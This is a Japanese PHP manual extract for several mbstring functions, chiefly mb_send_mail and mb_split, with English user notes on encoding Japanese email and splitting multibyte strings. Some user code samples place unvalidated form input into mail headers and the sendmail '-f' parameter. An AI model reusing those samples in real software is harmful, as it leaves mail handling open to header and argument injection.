mb_regex_set_options ( string|null $options = null ) : string

options で表されるオプションを、 マルチバイト対応の正規表現関数のデフォルトに設定します。

パラメータ

options

設定するオプション。文字列で設定し、各文字がオプションを表します。 モードを設定する際には、モード文字は最後に指定しなければなりません。 オプションは複数指定できますが、モードはひとつしか指定できません。

Regex のオプション
オプション | 意味
i | 曖昧なマッチをオンにする
x | 拡張パターン形式を有効にする
m | '.' が改行にマッチする
s | '^' -> '\A', '$' -> '\Z'
p | m と s を両方指定するのと同じ
l | 最も長くマッチするものを探す
n | 空のマッチを無視する
e | 結果のコードを eval() する
Regex 構文モード
モード | 意味
j | Java (Sun java.util.regex)
u | GNU regex
g | grep
c | Emacs
r | Ruby
z | Perl
b | POSIX Basic regex
d | POSIX Extended regex

返り値

以前設定されていたオプションを返します。 options が省略された場合、または null の場合、 現在設定されているオプションを文字列で返します。

変更履歴

バージョン | 説明
8.0.0 | options が指定され、null でない場合、 以前に 設定されていたオプションが返されるようになりました。 これより前のバージョンでは、 現在 設定されているオプションが返されていました。
8.0.0 | options は、nullable になりました。

参考

  • mb_split() - マルチバイト文字列を正規表現により分割する
  • mb_ereg() - マルチバイト対応の正規表現マッチ
  • mb_eregi() - マルチバイトをサポートし、大文字小文字を無視した正規表現マッチ

User Contributed Notes

indeyets at php dot net 27-Nov-2009 02:58
It's a bit trickier, than patryk wrote:

There are parameters (you can specify several of these at the same time):

'i': ONIG_OPTION_IGNORECASE;
'x': ONIG_OPTION_EXTEND;
'm': ONIG_OPTION_MULTILINE;
's': ONIG_OPTION_SINGLELINE;
'p': ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE;
'l': ONIG_OPTION_FIND_LONGEST;
'n': ONIG_OPTION_FIND_NOT_EMPTY;
'e': eval() resulting code

And there are "modes" (if you specify several of these, the LAST one will be used):
'j': ONIG_SYNTAX_JAVA;
'u': ONIG_SYNTAX_GNU_REGEX;
'g': ONIG_SYNTAX_GREP;
'c': ONIG_SYNTAX_EMACS;
'r': ONIG_SYNTAX_RUBY;
'z': ONIG_SYNTAX_PERL;
'b': ONIG_SYNTAX_POSIX_BASIC;
'd': ONIG_SYNTAX_POSIX_EXTENDED;

You can find descriptions of these constants here: http://www.geocities.jp/kosako3/oniguruma/doc/API.txt
patryk dot szczyglowski at gmail dot com 12-Dec-2008 10:12
Supported options are:

i - ONIG_OPTION_IGNORECASE
x - ONIG_OPTION_EXTEND
m - ONIG_OPTION_MULTILINE
s - ONIG_OPTION_SINGLELINE
p - ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE
l - ONIG_OPTION_FIND_LONGEST
n - ONIG_OPTION_FIND_NOT_EMPTY
j - ONIG_SYNTAX_JAVA
u - ONIG_SYNTAX_GNU_REGEX
g - ONIG_SYNTAX_GREP
c - ONIG_SYNTAX_EMACS
r - ONIG_SYNTAX_RUBY
z - ONIG_SYNTAX_PERL
b - ONIG_SYNTAX_POSIX_BASIC
d - ONIG_SYNTAX_POSIX_EXTENDED
e - eval() resulting code

Constants above are from Oniguruma regexp library, which is used internally. Default value for PHP 5.2.x is 'pr'.


文字列に含まれる不正なバイト列を代替文字に置き換える

  • ≪ mb_regex_set_options
  • mb_send_mail ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列に含まれる不正なバイト列を代替文字に置き換える

mb_scrub

(PHP 7 >= 7.2.0, PHP 8)

mb_scrub — 文字列に含まれる不正なバイト列を代替文字に置き換える

説明

mb_scrub ( string $string , string|null $encoding = null ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string

encoding

返り値

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

User Contributed Notes

Sammitch 06-Mar-2018 08:32
Replaces 'ill-formed' byte sequences with '?'.

See: https://github.com/php/php-src/pull/1099


エンコード変換を行ってメールを送信する

  • ≪ mb_scrub
  • mb_split ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • エンコード変換を行ってメールを送信する

mb_send_mail

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_send_mail — エンコード変換を行ってメールを送信する

説明

mb_send_mail ( string $to , string $subject , string $message , array|string $additional_headers = [] , string|null $additional_params = null ) : bool

email を送信します。ヘッダと本文は mb_language() の設定に基づき変換、エンコードされます。 これは mail() のラッパー関数です。詳細は、 mail() を参照ください。

パラメータ

to

送信先のメールアドレス。 各アドレスをカンマで区切ると、複数の宛先を to に指定できます。 このパラメータは、自動的にはエンコードされません。

subject

メールの件名。

message

メールの本文。

additional_headers（オプション）

メールヘッダの最後に挿入される String または array

通常、これは追加のヘッダ（From、Cc、Bcc）のために用いられます。 複数のヘッダを追加する場合は CRLF（\r\n）で区切ります。 攻撃者が不要なヘッダーを注入しないようにパラメータを検証してください。

array が渡された場合、キーと値はそれぞれ ヘッダーの名前および値です。

注意:

メールを送信する際には、必ず From ヘッダが含まれていなければなりません。 additional_headers パラメータで指定するか、 あるいは php.ini にデフォルト値を指定します。

指定しなかった場合は、以下のようなエラーメッセージが返ります Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing 。 Windows では、From ヘッダを設定すると Return-Path も設定されます。

注意:

メッセージが受信されなかった場合には、LF（\n）のみを使ってみてください。 Unix の MTA の中には、自動的に LF を CRLF に変換してしまう もの (有名なところでは、» qmail など) があります（もし CRLF を利用していた場合、CR が重複してしまいます）。 ただし、これは最後の手段です。というのも、これは » RFC 2822 に違反しているからです。

additional_params

additional_params は、MTA へ渡す コマンドライン引数です。sendmail を利用する際に正しい Return-Path を設定するためなどに利用すると便利です。

このパラメータはコマンドの実行を防止するために内部的に escapeshellcmd() によってエスケープされます。 escapeshellcmd() はコマンドの実行を防止しますが、 別のパラメータを追加することは許してしまいます。セキュリティ上の理由から、 このパラメータは検証されるべきです。

escapeshellcmd() が自動的に適用されるため、 インターネット RFC でメールアドレスとして許可さているいくつかの文字を使用することができません。 これらの文字を使用することが必須であるプログラムでは mail() を使うことはできません。

この方法でエンベロープの sender ヘッダ（-f）を設定する際は、 'X-Warning' ヘッダが付加されないように Web サーバーの実行ユーザーを sendmail 設定に追加しておく必要があるかもしれません。 sendmail を利用している場合、これは /etc/mail/trusted-users で設定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | additional_params は、nullable になりました。
7.2.0 | additional_headers パラメータは、 array も受け付けるようになりました。

参考

  • mail() - メールを送信する
  • mb_encode_mimeheader() - MIMEヘッダの文字列をエンコードする
  • mb_language() - 現在の言語を設定あるいは取得する

User Contributed Notes

Filip 18-Apr-2015 09:52
I had to use mb_internal_encoding() also to get properly encoded message.
contact-form at contactrobot dot com 04-Jan-2013 11:52
While using the right tags mentioned in other comments (mb_internal_encoding, Content-Type, etc) ...

mb_send_mail would properly encode special characters in plain text emails, for both subject and message

mb_send_mail would not properly encode special characters in subject for multi-part messages (text+html)
Anonymous 20-Jan-2010 03:20
If you have problem using mb_send_mail to send utf-8 mails, you have to know the following things (I've spent hours on the net before finding the correct php code) :

- You have to use the mb_encode_mimeheader function on the sender name and on the recipient name (on names, not on emails !).
- Subject and message are automatically encoded.
- Add - at least - the following header :

$headers = "Mime-Version: 1.0\n";
$headers .= "Content-Type: text/plain;CHARSET=shift-jis\n";
$headers .= "From: $sender";

- Last but not least, beware of the internal encoding, which is needed by mb_encode_mimeheader function in order to encode properly. I had to set the internal encoding to UTF-8 in order to make it work properly :

mb_internal_encoding("UTF-8");
Sohel Taslim 18-Sep-2007 11:00
Easy and simple....
Send an email with Japanese contain.

<?php

/**
     * @name                    : sendMail
     * @author Taslim Mazumder Sohel
     * @mailsohel62@yahoo.com
     * Function for sending email
     *with Japanese Email Body, Subject, Sender Name.
     *
     * @param String $to               : Receiver mail address.
     * @param String $subject          : email subject.
     * @param int    $body            : mail body text.
     * @param array  $from_email    : Sender mail address.
     * @param array  $from_name      : Sender Name.
     *
     */
function sendMail($to, $subject, $body, $from_email,$from_name)
 {
$headers  = "MIME-Version: 1.0 \n" ;
$headers .= "From: " .
       "".mb_encode_mimeheader (mb_convert_encoding($from_name,"ISO-2022-JP","AUTO")) ."" .
       "<".$from_email."> \n";
$headers .= "Reply-To: " .
       "".mb_encode_mimeheader (mb_convert_encoding($from_name,"ISO-2022-JP","AUTO")) ."" .
       "<".$from_email."> \n";

$headers .= "Content-Type: text/plain;charset=ISO-2022-JP \n";

/* Convert body to same encoding as stated
in Content-Type header above */

$body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

/* Mail, optional paramiters. */
$sendmail_params  = "-f$from_email";

mb_language("ja");
$subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
$subject = mb_encode_mimeheader($subject);

$result = mail($to, $subject, $body, $headers, $sendmail_params);

return $result;
}

?>
noting@nowhere 19-Apr-2007 05:44
Yes, as far as I understood the function encodes the entrire message body with base64 and that's why it can be used to send messages with attachments.
30-Jan-2007 04:53
Be careful, mb_send_mail chokes if you try and send a multipart e-mail.
bredfern at calarts dot edu 22-Jun-2004 03:07
Make sure that if you're using a form to type in the mail, that your form page has the right encoding, like if I want to send out a japanese email, by filling out a form, the form page needs this in the header:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=SHIFT-JIS">
dynamis at skillup dot jp 29-Aug-2003 06:35
# self-fix...
I posted "encode_mimeheader" workaround on the day before. But I found that the code depends on platforms. :(

In some platforms, hedders(after the header splited into two or more lines) will appear in the body content.
The cause is that 'there are some platforms where the translation from \n to \r\n is apparently done for you'.
# See the post by "leon at ietsmet dot nl" about mail function (23-Apr-2003).

Now, all you have to do is just changing the glue string from "\r\n " to "\n ".

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}

should be below in some platform...

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\n ", $lines);
  // Though RFC 2047,822 say newline must be \r\n, not only \n,
  // in my platform, auto replacement will be done (accepts \n and \n\r\n -> \n\n)...
  return $str;
}

# notice: In both code, 1 space after newline is essential (gule str is *not* only "\r\n" nor "\n").
# This space is ignored only between encoded-words.

    c.f. about efficiency

Thinking about efficiency, my encode_mimeheader may have to determine where to split string into lines without mb_encode_mimeheader in the determining loop. But that loop will be repeated only one or a few times and this function  will be usually used against not so long string. So, this loss is not critical in most case.
If you use only one encoding, you can easily check ascii or multi-byte char one by one accoding to the definition of the encoding and determining splitting point (this is far faster), but when you have to handle all encoding that is not so easy. At least, I don't want to touch. :p
To accept *any* encoding (encoding name will be passed as argument), you can use this code. This is because I post non-efficient code like this.
# Though I'm not sure whether the code actually work well with all encoding...
dynamis at skillup dot jp 19-Jul-2003 04:50
As others say, mb_encode_mimeheader() seems to have a bug with JIS(ISO-2022-JP) encording. Token indicating start and end of multibyte char is inserted only before start of encoding and after the all.
We need the tokens at start and end of *all* encoded-text.
# PHP 4.3.2

So, we needs some workaround.

The post by "gordon at kanazawa-gu dot ac dot jp" seems to work well, but it doesn't. JIS nees some special tokens and base64_encode does'nt output them, so the code cannot used.

The post "RE: N03L in Japan", which simply splitting words in eash 10 chars is good enough in most case, there are some problem left. When there are some splited parts starting with ascii chars, 1 additional space will be inserted.
# RFC2047 only say within 76 words, shorter is not bad.

Additionally, thought it is really rare case, when we use "=?charset?" as literal string, we have to escape them.
# Some mailer can actually send this without escape and header will be broken. :(

Now, a little non-smart but maybe more accurate code is below function. I tested only with ISO-2022-JP, only in costomized phpBB2.0.5, only some cases.
As far as my test this code worked well, but I'm not sure.

# $str: source text
# $indent: ex. for "Subject: " header, give 9 and first line will be shorter than 76-1-9=66
# $encoding: source text encoding
# $mail_encoding: $str will be converted into this before base64 encode

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
  $start_delimiter = strtoupper("=?$mail_encoding?B?");
  $start_pattern   = strtoupper("=\\?$mail_encoding\\?B\\?");
  $end_delimiter   = '?=';

  $str = mb_convert_encoding($str, $mail_encoding, $encoding);
  $length  = mb_strlen($str, $mail_encoding);
  $max_part_length = 20; // enough short in most case (you can change this default value)

  for ($i=0, $index=0; $index<$length; $i++) {
    $part_length = $max_part_length;
    $s = mb_substr($str, $index, $part_length, $mail_encoding);
    // workaround for literally used start delimiter (without below, subject may break)
    // note: mb_encode_mimeheader() don't encode ascii including start delimiter
    if (preg_match('/^' . $start_pattern . '/i', $s))
    {
      $lines[$i] = $start_delimiter . base64_encode($start_delimiter) . "?=";
      $index += strlen($start_delimiter);
      continue;
    }

    $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
    while (strlen($lines[$i]) > 76-1 - ($i?0:$indent)) { // max par line - first space - indent (first line only)
      $part_length = floor($part_length * (76-1 - ($i?0:$indent)) / strlen($lines[$i])); // at least 1 decrement
      $s = mb_substr($str, $index, $part_length, $mail_encoding);
      $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
    }

    // workaround for starting new line with ascii (without below, 1 space may cut in)
    // note: mb_encode_mimeheader() starts encode after encounterring multibyte char
    if ($i > 0 && !preg_match('/^' . $start_pattern . '/i', $lines[$i]))
    {
      $p = strpos($lines[$i], $start_delimiter); //never 0 (false when not found)
      $p = $p ? $p : strlen($lines[$i]);
      $lines[$i] = $start_delimiter . base64_encode(substr($lines[$i], 0, $p)) . "?=";
      $part_length = $p;
    }
    $index += $part_length;
  }
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}
RE: N03L in Japan 22-May-2003 02:01
I have to use Japanese hankaku (single byte kana in (S)JIS) in mail subject and message,
so I tried the way that NO3L in Japan said, but I found there's a big problem.
In that way, mb_encode_mimeheader drop escape sequence from the head of encoded string from second line.
if you use long letter in subject, and if it includes multi byte string, It must crashed.
Therefore, if you want to use Japanese hankaku in mail subject, you might try like this.
Encoded subject letters in one line is not just 76 letters, so it is not based on RFC, but it work.

$intSubjectLength  = mb_strlen($strSubject);
$intSeparateLength = 10;
for ($i=0; $i<ceil($intSubjectLength / $intSeparateLength); $i++) {
    $arrSeparatedSubject[$i] = mb_substr($strSubject, $intIndex, $intSeparateLength);
    $arrSeparatedSubject[$i] = mb_encode_mimeheader(mb_convert_encoding($arrSeparatedSubject[$i], "JIS", "EUC-JP"));
    $intIndex = $intIndex + $intSeparateLength;
}
$strSubject = join("\n ", $arrSeparatedSubject);
Ran Hamada ( rhamada at sdcj dot co dot jp ) 08-Apr-2003 09:24
You may not use mb_encode_mimeheader() with mb_convert_encoding() to make subject as follows. It causes mojibake in several strings.
mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") )

Set mb_internal_encoding() to *subject's* encoding and call mb_encode_mimeheader.

Example)

    $__lang = mb_language();
    $__enc = mb_internal_encoding();
    mb_language("Japanese");
    mb_internal_encoding( mb_detect_encoding($subject) );
    #mb_internal_encoding( "EUC-JP" ); #just do when you know encoding of $subject
    mail($to,
        mb_encode_mimeheader($subject),
        mb_convert_encoding($msg,"JIS","AUTO"),$header);
    mb_internal_encoding( $__enc );
    mb_language($__lang);
phpguru at hotmail dot com 26-Feb-2003 11:29
There is another way of encoding Japanese language to send email without worrying about mb_functions:

Download PHP Jcode from http://www.spencernetwork.org/
and use JcodeConvert function with base64_encode function for the e-mail header and the subject.

$email_to = "blah@blah.com";

$_POST["name"] = strip_tags(trim($_POST["name"]));
$name = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["name"], 2, 3)). "?=";
$_POST["email"] = strip_tags(trim($_POST["email"]));
$_POST["subject"] = strip_tags(trim($_POST["subject"]));
$email_subject = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["subject"], 2, 3)). "?=";
$_POST["body"] = strip_tags(trim($_POST["body"]));

$email_header = "From: $name <". $_POST["email"] .">\n";
$email_header .= "Reply-To: ". $_POST["email"] ."\n";
$email_header .= "Content-transfer-encoding: 7bit\n";
$email_header .= "Content-type: text/plain; charset=\"iso-2022-jp\"\n\n";

$email_body = "blah blah blah.\n"

mail($email_to, $email_subject, $email_body, $email_header);
N03L in Japan 23-Feb-2003 09:29
First of all, don't use nl2br in newer php versions unless you WANT to write xhtml...you'll get <br /> tags.

Secondly, you should use JIS, not ISO-2022-JP as the convert TO encoding.  If you use ISO... mb_encode_mimeheader seems to fail. They're the same charset anyway.

Now here's why I am really writing.  I just discovered that mb_send_mail and mb_encode_mimeheader cannot support hankaku (single byte kana in (S)JIS) at all.  If you are making apps for the keitai (mobile) market, this won't do.  Therefore, undo your overloading on the mail function and use regular mail and convert everything yourself like this.  This is what we did.  It seems to work for us.  Your mileage may vary.

$strMBS = mb_convert_encoding($strMailBodySend, "JIS", "EUC-JP");

$strMS  = mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") );

mail($strToMail, $strMS, $strMBS, $strFrom);
jc AT mega-bucks DOT co DOT jp 05-Feb-2003 12:58
I was trying to send japanese email and had a hell of a time getting it to work. I finally stumbled across mb_send_mail() and it did everything I wanted *except* that it only send plain text emails ... sending HTML contents was impossible.

I finally whipped this up. I'm posting in case someone finds it useful.

function send_japanese_mail($to, $subject, $body, $from, $from_email, $is_html_content=false) {

   $headers  = "MIME-Version: 1.0\\n" ;
   $headers .= "From: $from <$from_email>\\n";
   $headers .= "Reply-To: $from <$from_email>\\n";

  /* If the body  is HTML or plain text set the Content-Type header accordingly */

   if ($is_html_content) {
     $headers .= "Content-Type: text/html;charset=ISO-2022-JP\\n";
     /* turn all line breaks into BR tags */
     $body = nl2br($body);
   }
     else {
     $headers .= "Content-Type: text/plain;charset=ISO-2022-JP\\n";
   }

  /* need to convert body to same encoding as stated in Content-Type header above */

  $body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

  /* set any sendmail params, optional ... */
  $sendmail_params  = "-f$from_email";

  /*
   The subject is actually a "header" and can/will get mangled
   if it contains non-ASCII characters. So we need to convert
   the subject to something containing only ASCII characters.

   First we convert the subject to the same encoding as the
   body, then we use mb_encode_mimeheader() to make the subject
   line all ASCII characters.
  */

   mb_language("ja");
   $subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
   $subject = mb_encode_mimeheader($subject);

   mail($to, $subject, $body, $headers, $sendmail_params);
}
gordon at kanazawa-gu dot ac dot jp 28-Dec-2002 06:07
If your server doesn't have mb_send_mail() enabled but you want to use non-ascii (multi-byte) chars in an email's subject or name headers, you can use something like the following:

$charset = "iso-2202-jp"; // japanese
$to = encode("japanese name 01", $charset) . " <to@email.com>";
$from = encode("japanese name 02", $charset) . " <from@email.com>";
$subject = encode("japanese text", $charset);
$message = "does not need to be encoded";
mail($to, $subject, $message, $from);

function encode($in_str, $charset) {
    $out_str = $in_str;
    if ($out_str && $charset) {

        // define start delimimter, end delimiter and spacer
        $end = "?=";
        $start = "=?" . $charset . "?B?";
        $spacer = $end . "\r\n " . $start;

        // determine length of encoded text within chunks
        // and ensure length is even
        $length = 75 - strlen($start) - strlen($end);
        $length = floor($length/2) * 2;

        // encode the string and split it into chunks
        // with spacers after each chunk
        $out_str = base64_encode($out_str);
        $out_str = chunk_split($out_str, $length, $spacer);

        // remove trailing spacer and
        // add start and end delimiters
        $spacer = preg_quote($spacer);
        $out_str = preg_replace("/" . $spacer . "$/", "", $out_str);
        $out_str = $start . $out_str . $end;
    }
    return $out_str;
}
// for details on Message Header Extensions
// for Non-ASCII Text see ...
// http://www.faqs.org/rfcs/rfc2047.html
no dot email dot address at example dot com 14-Sep-2002 03:53
Tested with PHP 4.2.2 on Linux: Please note that if you're using Unicode (mb_language("uni")) and you attempt to send mail with mb_send_mail(), you will need to base64_encode() the message body - mb_send_mail() doesn't do that for you. It does, however, issue the correct message headers, so you don't need to worry about that.

Also note that neither mb_language() nor mb_send_mail() is able to convert your message to UTF-8. *You* need to provide the UTF-8-encoded (and base64-encoded) message, and then mb_send_mail() will issue the correct message headers.

Here's an example of sending an UTF-8-encoded message with mb_send_mail():

mb_language("uni");
$body = chunk_split(base64_encode("International characters"));
mb_send_mail("someone@example.com", "Subject", $body);

If the receiving mail client supports UTF-8 properly, you will be able to send messages that contain a mix of all kinds of characters (e.g., you could send Thai, Chinese, and Danish characters in the same message). Not all mail clients support UTF-8, though. At the time of writing, some of the more popular Windows email clients - Eudora and Pegasus Mail - don't. There are a number of email clients with working support for UTF-8. These include Outlook Express, KMail, Mozilla, Netscape 6/7, Sylpheed, Evolution and others.


マルチバイト文字列を正規表現により分割する

  • ≪ mb_send_mail
  • mb_str_split ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイト文字列を正規表現により分割する

mb_split

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_split — マルチバイト文字列を正規表現により分割する

説明

mb_split ( string $pattern , string $string , int $limit = -1 ) : array|false

マルチバイト文字列 string において、正規表現 pattern により文字列を分割し、 結果を配列として返します。

パラメータ

pattern

正規表現パターン。

string

分割する文字列。

limit
オプションの引数 limit を指定した場合は、 最大 limit 個の要素に分割されます。

返り値

結果を配列で返します。 失敗した場合に false を返します

注意

注意:

mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg() - マルチバイト対応の正規表現マッチ

User Contributed Notes

thflori at gmail 06-Jul-2017 02:34
I agree that some people might want a mb_explode('', $string);

this is my solution for it:

<?php

$string = 'Hallole';

$array = array_map(function ($i) use ($string) {
    return mb_substr($string, $i, 1);
}, range(0, mb_strlen($string) -1));

expect($array)->toEqual(['H', 'a', 'l', 'l', 'o', 'l', 'e']);

?>
Stas Trefilov, Vertilia 02-Jul-2015 11:01
a (simpler) way to extract all characters from a UTF-8 string to array with a single call to a built-in function:

<?php
  $str = 'Ма-
руся';
  print_r(preg_split('//u', $str, null, PREG_SPLIT_NO_EMPTY));
?>

Output:

Array
(
    [0] => М
    [1] => а
    [2] => -
    [3] =>

    [4] => р
    [5] => у
    [6] => с
    [7] => я
)
gunkan at terra dot es 05-Apr-2012 06:17
To split an string like this: "日、に、本、ほん、語、ご" using the "、" delimiter i used:

     $v = mb_split('、',"日、に、本、ほん、語、ご");

but didn't work.

The solution was to set this before:

       mb_regex_encoding('UTF-8');
      mb_internal_encoding("UTF-8");
     $v = mb_split('、',"日、に、本、ほん、語、ご");

and now it's working:

Array
(
    [0] => 日
    [1] => に
    [2] => 本
    [3] => ほん
    [4] => 語
    [5] => ご
)
boukeversteegh at gmail dot com 14-Apr-2011 01:23
The $pattern argument doesn't use /pattern/ delimiters, unlike other regex functions such as preg_match.

<?php
   # Works. No slashes around the /pattern/
   print_r( mb_split("\s", "hello world") );
   Array (
      [0] => hello
      [1] => world
   )

   # Doesn't work:
   print_r( mb_split("/\s/", "hello world") );
   Array (
      [0] => hello world
   )
?>
boukeversteegh at gmail dot com 10-Sep-2010 09:43
In addition to Sezer Yalcin's tip.

This function splits a multibyte string into an array of characters. Comparable to str_split().

<?php
function mb_str_split( $string ) {
    # Split at all position not after the start: ^
    # and not before the end: $
    return preg_split('/(?<!^)(?!$)/u', $string );
}

$string   = '火?票';
$charlist = mb_str_split( $string );

print_r( $charlist );
?>

# Prints:
Array
(
    [0] => 火
    [1] => ?
    [2] => 票
)
qdb at kukmara dot ru 25-Mar-2010 02:46
an other way to str_split multibyte string:
<?php
$s='???????';

//$temp_s=iconv('UTF-8','UTF-16',$s);
$temp_s=mb_convert_encoding($s,'UTF-16','UTF-8');
$temp_a=str_split($temp_s,4);
$temp_a_len=count($temp_a);
for($i=0;$i<$temp_a_len;$i++){
    //$temp_a[$i]=iconv('UTF-16','UTF-8',$temp_a[$i]);
    $temp_a[$i]=mb_convert_encoding($temp_a[$i],'UTF-8','UTF-16');
}

echo('<pre>');
print_r($temp_a);
echo('</pre>');

//also possible to directly use UTF-16:
define('SLS',mb_convert_encoding('/','UTF-16'));
$temp_s=mb_convert_encoding($s,'UTF-16','UTF-8');
$temp_a=str_split($temp_s,4);
$temp_s=implode(SLS,$temp_a);
$temp_s=mb_convert_encoding($temp_s,'UTF-8','UTF-16');
echo($temp_s);
?>
gert dot matern at web dot de 03-Aug-2009 03:34
We are talking about Multi Byte ( e.g. UTF-8) strings here, so preg_split will fail for the following string:

'Weise Rosen sind nicht grun!'

And because I didn't find a regex to simulate a str_split I optimized the first solution from adjwilli a bit:

<?php
$string = 'Weise Rosen sind nicht grun!'
$stop   = mb_strlen( $string);
$result = array();

for( $idx = 0; $idx < $stop; $idx++)
{
   $result[] = mb_substr( $string, $idx, 1);
}
?>

Here is an example with adjwilli's function:

<?php
mb_internal_encoding( 'UTF-8');
mb_regex_encoding( 'UTF-8');

function mbStringToArray
( $string
)
{
  $stop   = mb_strlen( $string);
  $result = array();

  for( $idx = 0; $idx < $stop; $idx++)
  {
     $result[] = mb_substr( $string, $idx, 1);
  }

  return $result;
}

echo '<pre>', PHP_EOL,
print_r( mbStringToArray( 'Weise Rosen sind nicht grun!', true)), PHP_EOL,
'</pre>';
?>

Let me know [by personal email], if someone found a regex to simulate a str_split with mb_split.
adjwilli at yahoo dot com 26-Dec-2007 09:37
I figure most people will want a simple way to break-up a multibyte string into its individual characters. Here's a function I'm using to do that. Change UTF-8 to your chosen encoding method.

<?php
function mbStringToArray ($string) {
    $strlen = mb_strlen($string);
    while ($strlen) {
        $array[] = mb_substr($string,0,1,"UTF-8");
        $string = mb_substr($string,1,$strlen,"UTF-8");
        $strlen = mb_strlen($string);
    }
    return $array;
}
?>


マルチバイト文字列を受取り、文字の配列を返す

  • ≪ mb_split
  • mb_strcut ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイト文字列を受取り、文字の配列を返す

mb_str_split

(PHP 7 >= 7.4.0, PHP 8)

mb_str_split — マルチバイト文字列を受取り、文字の配列を返す

説明

mb_str_split ( string $string , int $length = 1 , string|null $encoding = null ) : array

この関数は文字列の配列を返します。 これは str_split() に 1, 2 または 4バイトの固定長のエンコーディングだけでなく、 可変長のエンコーディングのサポートも追加したものです。 length を指定すると、 文字列は指定された数の(バイトではなく)文字のチャンクに分割されます。 encoding もオプションで指定できますが、 指定するほうが良いでしょう。

パラメータ

string

文字またはチャンクに分割する string

length

これを指定すると、返される配列の個々の要素は一文字ではなく複数の文字になります。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

サポートされているエンコーディングのうち、ひとつを指定した文字列

返り値

mb_str_split() は、string の配列を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。
8.0.0 | この関数は、失敗時に false を返さなくなりました。

参考

  • str_split() - 文字列を配列に変換する

User Contributed Notes

vovan-ve at yandex dot ru 25-Oct-2020 05:48
Lazy polyfill for UTF-8 only:

function utf8_str_split(string $input, int $splitLength = 1)
{
    $re = \sprintf('/\\G.{1,%d}+/us', $splitLength);
    \preg_match_all($re, $input, $m);
    return $m[0];
}
info at ensostudio dot ru 11-Oct-2020 11:04
Note: function return NULL if can't convert argument type.

Polyfill PHP < 7.4 based on package "symfony/polyfill-mbstring":
<?php
function mb_str_split($string, $split_length = 1, $encoding = null)
{
    if (null !== $string && !\is_scalar($string) && !(\is_object($string) && \method_exists($string, '__toString'))) {
        trigger_error('mb_str_split(): expects parameter 1 to be string, '.\gettype($string).' given', E_USER_WARNING);
        return null;
    }
    if (null !== $split_length && !\is_bool($split_length) && !\is_numeric($split_length)) {
        trigger_error('mb_str_split(): expects parameter 2 to be int, '.\gettype($split_length).' given', E_USER_WARNING);
        return null;
    }
    $split_length = (int) $split_length;
    if (1 > $split_length) {
        trigger_error('mb_str_split(): The length of each segment must be greater than zero', E_USER_WARNING);
        return false;
    }
    if (null === $encoding) {
        $encoding = mb_internal_encoding();
    } else {
        $encoding = (string) $encoding;
    }

    if (! in_array($encoding, mb_list_encodings(), true)) {
        static $aliases;
        if ($aliases === null) {
            $aliases = [];
            foreach (mb_list_encodings() as $encoding) {
                $encoding_aliases = mb_encoding_aliases($encoding);
                if ($encoding_aliases) {
                    foreach ($encoding_aliases as $alias) {
                        $aliases[] = $alias;
                    }
                }
            }
        }
        if (! in_array($encoding, $aliases, true)) {
            trigger_error('mb_str_split(): Unknown encoding "'.$encoding.'"', E_USER_WARNING);
            return null;
        }
    }

    $result = [];
    $length = mb_strlen($string, $encoding);
    for ($i = 0; $i < $length; $i += $split_length) {
        $result[] = mb_substr($string, $i, $split_length, $encoding);
    }
    return $result;
}
?>


文字列の一部を得る

  • ≪ mb_str_split
  • mb_strimwidth ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字列の一部を得る

mb_strcut

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strcut — 文字列の一部を得る

説明

mb_strcut ( string $string , int $start , int|null $length = null , string|null $encoding = null ) : string

mb_strcut() は、ある文字列からの部分文字列の抽出を mb_substr() と同じ方法で行います。ただし、 処理は文字単位ではなくバイト単位で行います。 切り出し位置がたまたまマルチバイト文字の 2 バイト目以降だった場合、 切り出しはその文字の最初のバイトから行われます。この挙動もまた substr() 関数と異なるところです。 substr() の場合は、 マルチバイト文字の 2 バイト目以降であってもその位置から切り出しを行い、 結果的に壊れたバイト列を返すことになります。

パラメータ

string

取り出しの対象となる文字列。

start

start が非負である場合に返される文字列は、 string の start バイト目以降の文字列となります (ゼロから数えます)。 たとえば、文字列 'abcdef' の 0 バイト目は 'a' で、 2 バイト目は 'c' のようになります。

